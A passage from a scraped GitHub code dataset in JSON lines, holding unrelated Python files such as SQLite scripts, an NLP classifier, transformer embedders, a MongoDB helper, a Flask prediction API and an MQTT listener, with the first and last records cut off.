\", listofnumbers)\nprint(\"New list: \", newlist)\n#prints the original and newly generated list\n","repo_name":"zabess/homeworkpythonscripts","sub_path":"listcreator.py","file_name":"listcreator.py","file_ext":"py","file_size_in_byte":627,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"36804069295","text":"import sqlite3\nfrom sqlite3 import Error\n\n\ndef create_connection(db_file):\n \"\"\" cria conexão a um banco de dados SQLite \n definido em db_file\n :param db_file: path do arquivo database \n :return: Objeto Conexão ou None\n \"\"\"\n conn = None\n try:\n conn = sqlite3.connect(db_file)\n except Error as e:\n print(e)\n\n return conn\n\n\ndef delete_task(conn, id):\n \"\"\"\n Delete uma task pela task id\n :param conn: Conexão ao banco de dados SQLite\n :param id: id da task\n :return:\n \"\"\"\n sql = 'DELETE FROM tasks WHERE id=?'\n cur = conn.cursor()\n cur.execute(sql, (id,))\n conn.commit()\n\n\ndef delete_all_tasks(conn):\n \"\"\"\n Delete todas as linhas da tabela tasks\n :param conn: Conexão ao banco de dados SQLite\n :return:\n \"\"\"\n sql = 'DELETE FROM tasks'\n cur = conn.cursor()\n cur.execute(sql)\n conn.commit()\n\n\ndef main():\n \n #path do banco de dados\n database = r\"C:\\tools\\sqllite\\BD\\pythonsqlite.db\"\n\n # cria uma conexão ao banco de dados\n conn = create_connection(database)\n with conn:\n delete_task(conn, 2);\n # delete_all_tasks(conn);\n\n\nif __name__ == '__main__':\n main()","repo_name":"ricdtaveira/poo-python-ifce-p7","sub_path":"aula11/delete.py","file_name":"delete.py","file_ext":"py","file_size_in_byte":1193,"program_lang":"python","lang":"pt","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"3562978116","text":"\"\"\"\nTitle: NLP Classifier of Pennsylvania Legislature\nAuthor: Angelina Wang\nDate: April 21 2021\n\"\"\"\n\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\n\n#First, we need to import our cleaned PA bills dataset.\n\nPA_bills_cleaned = pd.read_csv(\"https://github.com/choudhs/NLP-on-US-Legislature/blob/main/PA_bills_cleaned.csv?raw=True\")\nPA_bills_cleaned = PA_bills_cleaned.drop(columns=[\"Unnamed: 0\"])\nPA_bills_cleaned\n\n#Now, let's standardize the text by tokenizing it, converting it all to lowercase, and lemmatizing it.\n\nimport en_core_web_sm\nimport nltk\nfrom nltk.tokenize import RegexpTokenizer\n\ndef standardize_text(df, text_field):\n # step 1 - remove irrelevant characters\n df[text_field] = df[text_field].str.replace(r\"[^A-Za-z0-9(),!?@\\'\\`\\\"\\_\\n]\", \" \")\n\n # step 2 - tokenize our text (lowercasing it, removing the punctuation and splitting on spaces)\n tokenizer = RegexpTokenizer(\"[\\w']+\")\n tokenizer.tokenize(text_field)\n\n # step 3 - convert all characters to lowercase\n df[text_field] = df[text_field].str.lower()\n\n # step 4 - lemmatize which is the process of reducing words to their basic stem\n nlp = en_core_web_sm.load()\n lemmas = nlp(text_field)\n lemmas = [t.lemma_ for t in lemmas if (t.is_alpha and not (t.is_stop or t.like_num))]\n lemmas = \" \".join(lemmas)\n return df\n\nPA_bills_cleaned = standardize_text(PA_bills_cleaned, \"title\")\nPA_bills_cleaned\n\n#Let's remove the stop words of common English words from the titles and find the most frequently used words in the bill titles.\n\ncleaned_titles = PA_bills_cleaned['title']\n\nnltk.download('stopwords')\n\nfrom sklearn.feature_extraction.text import CountVectorizer\nfrom nltk.corpus import stopwords\n\nstops = set(stopwords.words('english') + ['com']) # set stop words to be common English words\nco = CountVectorizer(stop_words=stops) # initialize count vectorizer\ncounts = co.fit_transform(cleaned_titles)\n\ntop_freq_words = pd.DataFrame(counts.sum(axis=0), columns=co.get_feature_names()).T.sort_values(by=0, ascending=False).head(20)\ntop_freq_words = top_freq_words.rename(columns={0: \"Top 20 Most Frequent Words in Titles\"})\ntop_freq_words\n\n#After this initial EDA, we have noticed that a lot of these most common words are not very useful, such as \"PA\" (stands for Pennsylvania) and \"effective\". Let's filter out these words manually and see what we get.\n\npd.DataFrame({\"Top 5 Filtered Most Frequent Words in Titles\":\n[top_freq_words.loc[\"omnibus\"],\ntop_freq_words.loc[\"vehicle\"],\ntop_freq_words.loc[\"crimes\"],\ntop_freq_words.loc[\"judicial\"],\ntop_freq_words.loc[\"property\"]]})\n\n#Now, we can see that after filtering, the top 5 most frequent words in bill titles are omnibus, crimes, judicial, enactment, and vehicle. We can keep this information and these skills in mind as we proceed with building our classifier model.\n\nfrom sklearn.feature_extraction.text import TfidfTransformer\ntfidf_transformer = TfidfTransformer()\nX_titles_tfidf = tfidf_transformer.fit_transform(counts)\nX_titles_tfidf.shape\n#Here, we have found the TF-IDF (Term Frequency times inverse document frequency) of our training data.\n\nfrom sklearn.naive_bayes import MultinomialNB\nclf = MultinomialNB().fit(X_titles_tfidf, cleaned_titles)\n#The above code will train the Naive Bayes (NB) classifier on the training data we provided.\n\npredicted = clf.predict(counts)\nnp.mean(predicted == cleaned_titles)\n\n#Testing the model on our data, we see our NB model was able to correctly predict the title 64.63% of the time. In order to improve this, let's change the fit_prior parameter from True to False. When set to false for MultinomialNB, a uniform prior will be used.\n\nnew_clf = MultinomialNB(fit_prior=False).fit(X_titles_tfidf, cleaned_titles)\nnew_predicted = new_clf.predict(counts)\nnp.mean(new_predicted == cleaned_titles)\n\n#After this improvement, our NB Model correctly predicts the title of a bill 79.27% of the time, which is a significant improvement. For future improvements, we could explore building a Support Vector Machines (SVM) model or use Grid Search to obtain optimal performance.\n","repo_name":"lina1026/NLP-Classifier-on-Pennsylvania-Legislature","sub_path":"NLP Classifier on Pennsylvania Legislature.py","file_name":"NLP Classifier on Pennsylvania Legislature.py","file_ext":"py","file_size_in_byte":4066,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"23444227427","text":"import asyncio\nfrom datetime import datetime, timedelta\n\nfrom faker import Faker\nfrom sqlmodel.ext.asyncio.session import AsyncSession\n\nfrom app.database import engine\nfrom app.schemes import UserTrack\nfrom app.models import Track\nfrom app.utils import get_ip_info, get_user_agent\n\n\nasync def main():\n Faker.seed(0)\n\n fake = Faker()\n\n async with AsyncSession(engine) as session:\n for _ in range(1_000):\n user_agent = get_user_agent(fake.user_agent())\n ip_info = get_ip_info(fake.ipv4_public())\n\n track = UserTrack(\n url=fake.uri(),\n referrer=fake.uri(),\n screenWidth=fake.pyint(),\n screenHeight=fake.pyint(),\n isTouch=fake.pybool(),\n title=fake.sentence(),\n lang=fake.language_code(),\n userAgent=fake.user_agent(),\n )\n\n data = {\n **ip_info.dict(),\n **track.dict(),\n **dict(\n user_agent=user_agent.user_agent.family,\n os=user_agent.os.family,\n device=user_agent.device.family,\n ),\n }\n\n db_track = Track(\n site=\"fake\",\n timestamp=fake.date_time_between(\n datetime.utcnow() - timedelta(weeks=4)\n ),\n **data,\n )\n\n session.add(db_track)\n await session.commit()\n\n\nif __name__ == \"__main__\":\n asyncio.run(main())\n","repo_name":"meirdev/analytics","sub_path":"fake.py","file_name":"fake.py","file_ext":"py","file_size_in_byte":1551,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"19544082327","text":"import time\nimport RPi.GPIO as GPIO\n\nheater_pin = 17\nmin_delay = 0.05\nmax_delay = 0.15\ndelay_step = 0.01\n\nGPIO.setmode(GPIO.BCM)\nGPIO.setup(heater_pin, GPIO.OUT)\n\ndelay = max_delay\n\nwhile True:\n # Turn heater on\n GPIO.output(heater_pin, GPIO.HIGH)\n time.sleep(delay)\n\n # Turn heater off\n GPIO.output(heater_pin, GPIO.LOW)\n time.sleep(delay)\n\n # Decrease delay time\n delay -= delay_step\n delay = max(delay, min_delay)\n\n if delay <= min_delay:\n break\n\nGPIO.cleanup()\n","repo_name":"Pascal2511/Radiator_Control","sub_path":"Test_DHT.py","file_name":"Test_DHT.py","file_ext":"py","file_size_in_byte":502,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"16815636854","text":"# Constants for sizing\nMAX_CARD_SCALE = 0.3\n\n# How big is the mat we'll place the card on?\nMAT_PERCENT_OVERSIZE = 1.25\n\n# How much space do we leave as a gap between the mats?\n# Done as a percent of the mat size.\nVERTICAL_MARGIN_PERCENT = 0.05\nHORIZONTAL_MARGIN_PERCENT = 0.05\n\nY_MARGIN = 0.05\n\nGUI_MENU_ACTIONS = {\n \"Start Round\" : 0,\n \"Exit\": 1\n}\n\ndef calculate_gui_constants(CARD_SCALE, SCREEN_HEIGHT):\n # How big are the cards?\n CARD_WIDTH = 140 * CARD_SCALE\n CARD_HEIGHT = 190 * CARD_SCALE\n MAT_HEIGHT = MAT_HEIGHT = int(CARD_HEIGHT * MAT_PERCENT_OVERSIZE)\n MAT_WIDTH = MAT_WIDTH = int(CARD_WIDTH * MAT_PERCENT_OVERSIZE)\n\n # The Y of the bottom row (2 piles)\n BOTTOM_Y = BOTTOM_Y = MAT_HEIGHT / 2 + MAT_HEIGHT * VERTICAL_MARGIN_PERCENT\n\n # The X of where to start putting things on the left side\n MAT_X_OFFSET = MAT_WIDTH + MAT_WIDTH * HORIZONTAL_MARGIN_PERCENT * 2\n START_X = MAT_WIDTH / 2 + MAT_WIDTH * HORIZONTAL_MARGIN_PERCENT\n\n # Fixed positions and offsets\n NAME_HEIGHT = SCREEN_HEIGHT / 30\n MAT_Y_OFFSET = MAT_HEIGHT + MAT_HEIGHT * VERTICAL_MARGIN_PERCENT * 2 + NAME_HEIGHT\n TOP_Y = SCREEN_HEIGHT - SCREEN_HEIGHT * Y_MARGIN - MAT_Y_OFFSET\n\n return CARD_SCALE, MAT_HEIGHT, MAT_WIDTH, MAT_X_OFFSET, MAT_Y_OFFSET, BOTTOM_Y, TOP_Y, START_X\n\ndef get_gui_constants(NUMBER_OF_HANDS_PER_SIDE, SCREEN_HEIGHT):\n # add for dealer space\n NUMBER_OF_HANDS_PER_SIDE += 1\n\n Y_SPACE = SCREEN_HEIGHT - SCREEN_HEIGHT * 2 * Y_MARGIN \n # find maximum possible card scale\n # 0.9 because of space needed for name\n calc_card_scale = int((Y_SPACE / NUMBER_OF_HANDS_PER_SIDE) - SCREEN_HEIGHT/20) / MAT_PERCENT_OVERSIZE / 190\n print(\"SCALE BEFORE: {}\".format(calc_card_scale))\n if calc_card_scale > MAX_CARD_SCALE:\n calc_card_scale = MAX_CARD_SCALE\n \n print(\"SCALE AFTER: {}\".format(calc_card_scale))\n return calculate_gui_constants(calc_card_scale, SCREEN_HEIGHT)\n\n\n# Card constants\nCARD_VALUES = [\"A\", \"2\", \"3\", \"4\", \"5\", \"6\", \"7\", \"8\", \"9\", \"10\", \"J\", \"Q\", \"K\"]\nCARD_SUITS = [\"Clubs\", \"Hearts\", \"Spades\", \"Diamonds\"]","repo_name":"Horus26/BlackJackPython","sub_path":"Blackjack/GUIConstants.py","file_name":"GUIConstants.py","file_ext":"py","file_size_in_byte":2095,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"43045060197","text":"import torch\nimport torch.nn as nn\n\nfrom attrs import asdict\nimport itertools\nfrom attrs import define\nimport pathlib\n\nfrom transformers import GPT2Model, GPT2Tokenizer\nfrom transformers import CLIPTokenizer, CLIPTextModel\nfrom transformers import BertModel, BertTokenizer\n\nfrom instructRNN.instructions.instruct_utils import get_all_sentences, sort_vocab\n\nfrom transformers import logging\nlogging.set_verbosity_error()\n\nlocation = str(pathlib.Path(__file__).parent.absolute())\n\n@define\nclass LMConfig(): \n LM_load_str: str\n LM_train_layers: list \n LM_reducer: str \n LM_out_dim: int \n LM_output_nonlinearity: str \n LM_proj_out_layers: int\n\ndef final_embedding(trans_last_hid):\n return trans_last_hid[:, -1, ...]\n\ndef mean_embedding(trans_last_hid): \n return torch.mean(trans_last_hid, dim=1)\n\nclass InstructionEmbedder(nn.Module): \n def __init__(self, config): \n super(InstructionEmbedder, self).__init__()\n self.config=config\n for name, value in asdict(config).items(): \n setattr(self, name, value)\n\n if self.LM_output_nonlinearity == 'relu': \n self._output_nonlinearity = nn.ReLU()\n elif self.LM_output_nonlinearity == 'lin': \n self._output_nonlinearity = nn.Identity()\n \n if self.LM_reducer == 'mean': \n self._reducer = mean_embedding\n elif self.LM_reducer == 'last': \n self._reducer = final_embedding\n\n self.__device__ = 'cpu'\n\n def __init_proj_out__(self): \n if self.LM_proj_out_layers==1:\n self.proj_out = nn.Sequential(\n nn.Linear(self.LM_intermediate_lang_dim, self.LM_out_dim), \n self._output_nonlinearity)\n else:\n layers_list = [(nn.Linear(128, 128), nn.ReLU()) for _ in range(self.LM_proj_out_layers)]\n layers = list(itertools.chain(*layers_list))\n self.proj_out= nn.Sequential(\n nn.Linear(self.LM_intermediate_lang_dim, 128), \n self._output_nonlinearity, \n *layers,\n nn.Linear(128, self.LM_out_dim), \n self._output_nonlinearity,\n )\n\n def set_train_layers(self, train_layers): \n all_train_layers = train_layers+['proj_out']\n for n,p in self.named_parameters(): \n if any([layer in n for layer in all_train_layers]):\n p.requires_grad=True\n else: \n\n p.requires_grad=False\n \n def to(self, cuda_device):\n super().to(cuda_device)\n self.__device__ = cuda_device\n\nclass TransformerEmbedder(InstructionEmbedder): \n def __init__(self, config): \n super().__init__(config)\n\n def freeze_transformer(self):\n for p in self.transformer.parameters():\n p.requires_grad = False\n\n def tokens_to_tensor(self, x):\n tokens = self.tokenizer(x, return_tensors='pt', padding=True)\n for key, value in tokens.items():\n tokens[key] = value.to(self.__device__)\n return tokens\n\n def forward_transformer(self, x): \n tokens = self.tokens_to_tensor(x)\n trans_out = self.transformer(**tokens)\n return self._reducer(trans_out.last_hidden_state), trans_out[2]\n\n def forward(self, x): \n return self.proj_out(self.forward_transformer(x)[0])\n\nclass BERT(TransformerEmbedder):\n def __init__(self, config): \n super().__init__(config)\n self.transformer = BertModel.from_pretrained(self.LM_load_str, output_hidden_states=True)\n self.tokenizer = BertTokenizer.from_pretrained(self.LM_load_str)\n self.LM_intermediate_lang_dim = self.transformer.config.hidden_size\n self.set_train_layers(self.LM_train_layers)\n self.__init_proj_out__()\n\nclass SBERT(TransformerEmbedder): \n def __init__(self, config): \n super().__init__(config)\n self.transformer = BertModel.from_pretrained('bert-base-uncased', output_hidden_states=True)\n self.tokenizer = BertTokenizer.from_pretrained('bert-base-uncased')\n self.LM_intermediate_lang_dim = self.transformer.config.hidden_size\n self.set_train_layers(self.LM_train_layers)\n self.__init_proj_out__()\n self.transformer.load_state_dict(self._convert_state_dict_format(location+'/_pretrained_state_dicts/'+self.LM_load_str))\n\n def _convert_state_dict_format(self, state_dict_file): \n sbert_state_dict = torch.load(state_dict_file, map_location='cpu')\n for key in list(sbert_state_dict.keys()):\n sbert_state_dict[key.replace('0.auto_model.', '')] = sbert_state_dict.pop(key)\n return sbert_state_dict\n\n\nclass GPT(TransformerEmbedder): \n def __init__(self, config): \n super().__init__(config)\n self.transformer = GPT2Model.from_pretrained(self.LM_load_str, output_hidden_states=True)\n self.tokenizer = GPT2Tokenizer.from_pretrained('gpt2')\n self.LM_intermediate_lang_dim = self.transformer.config.n_embd\n self.tokenizer.pad_token = self.tokenizer.eos_token\n self.set_train_layers(self.LM_train_layers)\n self.__init_proj_out__()\n\nclass CLIP(TransformerEmbedder): \n def __init__(self, config): \n super().__init__(config)\n self.transformer = CLIPTextModel.from_pretrained(self.LM_load_str, output_hidden_states=True)\n self.tokenizer = CLIPTokenizer.from_pretrained(self.LM_load_str)\n self.LM_intermediate_lang_dim = self.transformer.config.hidden_size\n self._reducer = mean_embedding\n self.set_train_layers(self.LM_train_layers)\n self.__init_proj_out__()\n\n def forward_transformer(self, x):\n tokens = self.tokens_to_tensor(x)\n trans_out = self.transformer(**tokens, output_hidden_states=True)\n return trans_out.pooler_output, trans_out.hidden_states\n\nclass BoW(InstructionEmbedder): \n VOCAB = sort_vocab()\n def __init__(self, config): \n super().__init__(config)\n if self.LM_out_dim == None: \n self.out_dim=len(self.VOCAB)\n self.LM_intermediate_lang_dim = len(self.VOCAB)\n self.set_train_layers(self.LM_train_layers)\n self.__init_proj_out__()\n\n def _make_freq_tensor(self, instruct): \n out_vec = torch.zeros(len(self.VOCAB))\n for word in instruct.split():\n index = self.VOCAB.index(word)\n out_vec[index] += 1\n return out_vec\n\n def forward(self, x): \n freq_tensor = torch.stack(tuple(map(self._make_freq_tensor, x))).to(self.__device__)\n bow_out = self.proj_out(freq_tensor).to(self.__device__)\n return bow_out\n","repo_name":"ReidarRiveland/Instruct-RNN","sub_path":"instructRNN/models/language_models.py","file_name":"language_models.py","file_ext":"py","file_size_in_byte":6592,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"15903129757","text":"import json\nimport os\nimport pymongo\nimport subprocess\nimport platform\n\ndef print_mongo(*args):\n print('[mongodb]', *args)\n\nclass MongoDB:\n def __init__(self):\n self.process = None\n self.client = None\n self.db = None\n\n def start(self):\n process = ''\n client = pymongo.MongoClient(serverSelectionTimeoutMS=500)\n operating_system = platform.system()\n args = ''\n\n try:\n client.admin.command('ismaster')\n print_mongo('server is running')\n\n except ConnectionFailure:\n if operatin_system == 'Linux':\n process = 'mongo'\n\n if operating_system == 'Darwin':\n process = 'mongod'\n args = '--dbpath=/data/db'\n\n if operating_system == 'Windows':\n process = 'C:\\\\Program Files\\\\MongoDB\\\\Server\\\\4.0\\\\bin\\\\mongod.exe'\n args = '--dbpath=\"C:\\\\data\\\\db\"'\n\n self.process = subprocess.Popen([process, args])\n print_mongo('server started')\n\n def connect(self):\n self.client = pymongo.MongoClient()\n print_mongo('client connected:', self.client)\n\n try:\n self.client.admin.command('ismaster')\n except ConnectionFailure:\n print_mongo('server is not available')\n\n def connect_db(self, db):\n if self.get_status() is None:\n print_mongo('please connect to the client first')\n else:\n self.db = self.client[db]\n print_mongo('connected to database:', db)\n\n # does only check if data in collection exists\n def add_json_data(self, device):\n Collection = self.db[device]\n\n path_to_json = '../data/'\n\n if Collection.count() == 0:\n for file_name in [file for file in os.listdir(path_to_json) if file.startswith(device) and file.endswith('.json')]:\n with open(path_to_json + file_name) as json_file:\n data = json.load(json_file)\n res = Collection.insert_one(data)\n print('data inserted for', file_name, 'inserted:', res.acknowledged)\n else:\n print_mongo('collection for', device, 'already exists')\n\n def get_status(self):\n if self.client is not None:\n return self.client.admin.command('serverStatus')\n else:\n print_mongo('no client connection')\n","repo_name":"psychosis448/wasm-performance","sub_path":"python-analysis/src/data_base/mongo.py","file_name":"mongo.py","file_ext":"py","file_size_in_byte":2401,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"15509257268","text":"#Create 2 lists\r\n#a: Using only methods from lists, remove the last element from my list1\r\n#remove 1st element of mylist2, concatenate these 2 lists while adding string 'Hello' in between\r\nlist1=['Merry Christmas','Happy Holidays','Greetings','Farewell','Get Well Soon']\r\nlist2=['Love','Hope','Joy']\r\nlist1.pop()\r\nlist2.pop(0)\r\nlist1.append(\"Hello\")\r\nlist1.extend(list2)\r\nprint(list1)\r\n#b: Do it without using list methods\r\nlist1=['Merry Christmas','Happy Holidays','Greetings','Farewell','Get Well Soon']\r\nlist2=['Love','Hope','Joy']\r\nprint(list1[:len(list1)-1]+\" Hello\".split()+ list2[1:])","repo_name":"EchoZen/SBS-tutorials","sub_path":"Tut7Qn4 List methods.py","file_name":"Tut7Qn4 List methods.py","file_ext":"py","file_size_in_byte":591,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"8046153634","text":"from model.contact import Contact\nfrom repository.contact_repository import ContactRepository\n\n\nclass ContactRepositoryCsv(ContactRepository):\n def __init__(self, filename):\n super().__init__()\n self.filename = filename\n\n def load(self):\n with open(self.filename, 'rt', encoding='utf-8') as f:\n self.contacts.clear()\n for line in f:\n line = line.strip()\n if len(line) == 0:\n continue\n parts = line.split(',')\n id = parts[0].strip()\n name = parts[1].strip()\n phone = parts[2].strip()\n self.contacts[id] = Contact(name, phone, id)\n\n def save(self):\n with open(self.filename, 'wt', encoding='utf-8') as f:\n for c in self.contacts.values():\n f.write(f'{c.id},{c.name},{c.phone}\\n')","repo_name":"iproduct/intro-python","sub_path":"fmi-2023-up-02-oop/repository/contact_repository_csv.py","file_name":"contact_repository_csv.py","file_ext":"py","file_size_in_byte":886,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"21"} +{"seq_id":"21959438793","text":"\"\"\"\nClass used to pass messages with the Gremlin Server.\n\"\"\"\n\nimport asyncio\nimport base64\nimport hashlib\nimport os\n\nimport aiohttp\n\nfrom aiowebsocketclient.connector import ClientWebSocketResponse\n\n__all__ = ('GremlinClientWebSocketResponse',)\n\n\nclass GremlinClientWebSocketResponse(ClientWebSocketResponse):\n \"\"\"Wraps :py:class:`aiohttp.websocket_client.ClientWebSocketResponse`\n with minimal added functionality for the Gremln Server use case.\n \"\"\"\n def __init__(self, reader, writer, protocol, response, timeout, autoclose,\n autoping, loop):\n ClientWebSocketResponse.__init__(self, reader, writer, protocol,\n response, timeout, autoclose,\n autoping, loop)\n self._parser = aiohttp.StreamParser(buf=aiohttp.DataQueue(loop=loop),\n loop=loop)\n\n @property\n def parser(self):\n \"\"\"\n Read-only property.\n\n :returns: :py:class:`aiohttp.parsers.StreamParser`\n \"\"\"\n return self._parser\n\n @asyncio.coroutine\n def _close(self, *, code=1000, message=b''):\n if not self._closed:\n did_close = self._do_close()\n if did_close:\n return True\n while True:\n try:\n msg = yield from asyncio.wait_for(\n self._reader.read(), self._timeout, loop=self._loop)\n except asyncio.CancelledError:\n self._close_code = 1006\n self._response.close(force=True)\n raise\n except Exception as exc:\n self._close_code = 1006\n self._exception = exc\n self._response.close(force=True)\n return True\n\n if msg.tp == aiohttp.MsgType.close:\n self._close_code = msg.data\n self._response.close(force=True)\n return True\n else:\n return False\n\n def _do_close(self, code=1000, message=b''):\n self._closed = True\n try:\n self._writer.close(code, message)\n except asyncio.CancelledError:\n self._close_code = 1006\n self._response.close(force=True)\n raise\n except Exception as exc:\n self._close_code = 1006\n self._exception = exc\n self._response.close(force=True)\n return True\n\n if self._closing:\n self._response.close(force=True)\n return True\n\n def send(self, message, *, binary=True):\n \"\"\"Send a message to the server.\"\"\"\n if binary:\n method = self.send_bytes\n else:\n method = self.send_str\n try:\n method(message)\n except RuntimeError:\n # Socket closed.\n raise\n except TypeError:\n # Bytes/string input error.\n raise\n\n @asyncio.coroutine\n def receive(self):\n \"\"\"\n :ref:`coroutine` method\n\n Receive a message from the server and push it into the parser.\n \"\"\"\n msg = yield from super().receive()\n if msg.tp == aiohttp.MsgType.binary:\n self.parser.feed_data(msg.data.decode())\n elif msg.tp == aiohttp.MsgType.text:\n self.parser.feed_data(msg.data.strip())\n else:\n if msg.tp == aiohttp.MsgType.close:\n yield from ws.close()\n elif msg.tp == aiohttp.MsgType.error:\n raise msg.data\n elif msg.tp == aiohttp.MsgType.closed:\n pass\n","repo_name":"platinummonkey/trolliusgremlin","sub_path":"aiogremlin/response.py","file_name":"response.py","file_ext":"py","file_size_in_byte":3682,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"16215761646","text":"import os\n\nfrom flask import Flask, request, jsonify\n\nfrom Classifier.Predictor.TeaPredictor import TeaPredictor\nfrom Classifier.Predictor.VideoPredictor import VideoPredictor\n\napp = Flask(__name__)\n\n\n# train classifier\n@app.route('/train', methods=['POST'])\ndef train_classifier():\n main_path = os.getcwd() + \"/Classifier/ObjectDetectionApi/research/\"\n file_path = os.getcwd() + \"/Classifier/ObjectDetectionApi/research/object_detection/\"\n print(os.getcwd())\n os.system(\"protoc \" + file_path + \"/protos/*.proto --python_out=.\")\n\n os.environ[\n 'PYTHONPATH'] += ':' + main_path + ':' + main_path + 'slim/'\n os.environ[\n 'PYTHONPATH'] += ':' + main_path + ':' + main_path + 'object_detection/'\n\n # os.system(\n # \"python3 ./legacy/train.py --logtostderr --train_dir=training/ --pipeline_config_path=training/faster_rcnn_resnet101_coco.config --image_dir=images/\")\n os.system(\n \"python3 \" + file_path + \"model_main.py --alsologtostderr --model_dir=training/ --pipeline_config_path=training/faster_rcnn_resnet101_coco.config --num_train_steps=50000 --num_eval_steps=2000\")\n\n return file_path\n\n\n# predict for images\n@app.route('/predict/image', methods=['POST'])\ndef predict_image():\n frozen_graph = request.json['frozen_graph']\n labels_file = request.json['labels_file']\n test_image_directory = request.json['test_image_directory']\n predictor = TeaPredictor(frozen_graph, labels_file, test_image_directory)\n ready_objects, image_output_folder = predictor.predict()\n response = {\n \"class\": \"ready\",\n \"data_values\": ready_objects,\n \"length\": len(ready_objects),\n \"output_directory\": image_output_folder\n }\n return jsonify(response)\n\n\n# predict for saved video file\n@app.route('/predict/video', methods=['POST'])\ndef predict_video():\n frozen_graph_path = request.json['frozen_graph']\n label_map_path = request.json['labels_file']\n video_path = request.json['test_video_file']\n classes = request.json['num_of_classes']\n video_predictor = VideoPredictor(frozen_graph_path, label_map_path, video_path, classes)\n ready_objects = video_predictor.display_and_save()\n response = {\n \"class\": \"ready\",\n \"data_values\": ready_objects,\n \"length\": len(ready_objects),\n }\n return jsonify(response)\n\n\nif __name__ == '__main__':\n app.run()\n","repo_name":"lahiruhashan/tea-wizard-app","sub_path":"src/main/java/com/ucsc/groupone/TeaLeafDetectionApi/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2376,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"16026974754","text":"# 센티와 마법의 뽕망치, S1, 구현\n\nfrom sys import stdin\nimport heapq\n\nn, h, t = map(int, stdin.readline().split())\norigin = t\ngiants = []\n\nfor _ in range(n):\n tmp = int(stdin.readline().rstrip())\n if tmp >= h:\n heapq.heappush(giants, tmp)\n\nwhile t>0:\n if len(giants) > 0:\n k = heapq.heappop(giants)\n if k > 1:\n k = k//2\n if k >= h:\n heapq.heappush(giants, k)\n t -= 1\n else:\n break\n\nif len(giants) > 0:\n print(\"NO\")\n print(max(giants))\nelse:\n print(\"YES\")\n print(origin - t)\n\n# --------------------------- 틀린 이유 : 최대 힙을 사용하여 풀어야 하는데 최소 힙을 사용함\n\nn, h, t = map(int, stdin.readline().split())\ncnt = 0\n\ngiants = []\nfor _ in range(n):\n tmp = int(stdin.readline().rstrip())\n heapq.heappush(giants,-tmp) # 최대힙이니까 음수로 만들어서 입력\n\nfor i in range(t): # 가능한 만큼\n k = heapq.heappop(giants)\n if abs(k) < h: # 키가 작아졌으면 push하고 break\n heapq.heappush(giants, k)\n elif abs(k) == 1:\n heapq.heappush(giants, k)\n else: # 아직도 키가 더 크다면\n k = -(abs(k)//2) # 다시 넣어야되니까 음수로 다시\n heapq.heappush(giants, k)\n cnt += 1\n\nres = abs(min(giants)) # 현재 남은 거인들 중 가장 키가 큰 사람(음수니까)\n\nif res < h:\n print(\"YES\")\n print(cnt)\nelse:\n print(\"NO\")\n print(abs(heapq.heappop(giants)))","repo_name":"lookinmin/CodingTest","sub_path":"구현/BOJ_19638.py","file_name":"BOJ_19638.py","file_ext":"py","file_size_in_byte":1539,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"15474876460","text":"from ij import IJ, WindowManager\nfrom ij.gui import Line\n\nIJ.run(\"Close All\")\nimp = IJ.openImage(\"/Users/jrminter/Downloads/three_phase.jpeg\")\nIJ.run(imp, \"RGB to CIELAB\", \"\")\nIJ.run(\"Stack to Images\", \"\")\nimp_L = WindowManager.getImage(\"L\")\nimp_a = WindowManager.getImage(\"a\")\nimp_b = WindowManager.getImage(\"b\")\nthe_line = Line(0,178,690,178)\nthe_line.setWidth(20) \nimp_L.setRoi(the_line)\nimp_L.show()\nIJ.run(imp_L, \"Plot Profile\", \"\")\nimp_a.setRoi(Line(0,231,690,220))\nIJ.run(imp_a, \"Plot Profile\", \"\")\nimp_a.show()\n\n","repo_name":"jrminter/tips","sub_path":"ImageJ/py/proc_three_phase.py","file_name":"proc_three_phase.py","file_ext":"py","file_size_in_byte":520,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"21"} +{"seq_id":"38966646466","text":"import paho.mqtt.client as mqtt\nimport psycopg2\nimport json\nimport logging\nfrom datetime import datetime, timedelta\n\n# DB_NAME = \"IoT-CS462\"\n# DB_USERNAME = \"jamesedwardteoh\"\n# DB_PASSWORD = \"\"\n\nDB_NAME = \"ubuntu\"\nDB_USERNAME = \"ubuntu\"\nDB_PASSWORD = \"12345678\"\n\nDB_HOST = \"127.0.0.1\"\n\nLOG_FILENAME = \"output.log\"\n\n# LOG_FILENAME = \"cloud_output.log\"\n\nMQTT_TOPIC = \"potato\"\n\nlogging.basicConfig(filename=LOG_FILENAME ,level=logging.INFO,\n format=\"[%(asctime)s] (%(levelname)s) %(message)s\")\n\n# Callbacks\ndef on_connect( client, userdata, flags, rc):\n # print(\"Connected with Code : \" + str(rc))\n logging.info(\"Connected with Code : \" + str(rc))\n client.subscribe(MQTT_TOPIC, 1)\n\ndef on_message( client, userdata, msg):\n logging.info(\"Received message...\")\n payload = msg.payload\n payload = payload.decode('UTF-8')\n \n logging.info(payload)\n payload = json.loads(payload)\n\n # extract data from payload\n bid = payload['bid']\n # print(bid)\n\n timestamp = payload['timestamp']\n dt = datetime.fromtimestamp(timestamp * 0.001)\n # dt = dt + timedelta(hours=8)\n date_time = dt.strftime(\"%d/%m/%Y %H:%M:%S\")\n # print(date_time)\n\n receiverid = payload['receiverid']\n # 